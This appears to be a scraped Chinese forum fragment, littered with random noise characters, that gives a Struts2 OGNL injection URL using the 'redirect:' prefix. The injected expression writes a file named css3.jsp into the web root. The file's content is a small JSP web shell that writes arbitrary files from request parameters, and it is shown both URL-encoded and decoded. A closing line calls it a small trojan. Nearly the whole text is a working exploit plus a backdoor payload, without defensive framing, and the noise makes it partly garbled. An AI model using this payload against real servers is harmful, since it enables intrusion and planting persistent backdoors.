, M( x2 e+ _+ X $ v$ O" g: A$ J% c* V , t4 p1 k: A) y* Q3 @% j' Q写文件:6 P- S' B; Z+ `7 S" ^8 \; I4 K
2 T# C; \* V& y# chttp://www.example.com/struts2-blank/example/X.action?redirect:${ & Q3 n$ l; z r& |% Z 7 E* g) b3 U# u& `% }%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'), 3 C" W. B' t) G+ D3 D# B# S6 Q, ]4 r1 W5 e/ E4 h4 x8 w: B' i+ V
%23p%3d(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22).replaceAll("\\\\", "/"),. T. Y, T2 j* o l" c" c
2 g# }/ v3 p1 d- ^" tnew+java.io.BufferedWriter(new+java.io.FileWriter(%23p)).append(%23req.getParameter(%22c%22)).close() ; Q( ^9 K9 Z/ }- n( V# Y1 o9 J; m c8 k/ y$ Z* Z1 H
}&c=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e , ~" e' V" L. C' g+ B0 [, J4 D1 N3 Q7 M# }
4 Z3 C' X) I: Y/ k0 n1 i9 Z! t<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%> % g' O d4 ^8 ~! m. P
9 f' x0 x! T: Z9 j: l1 s2 l, V/ U. B其实就是一个jsp的小马,需要客户端配合 9 e: h+ A/ y) q# @+ G/ h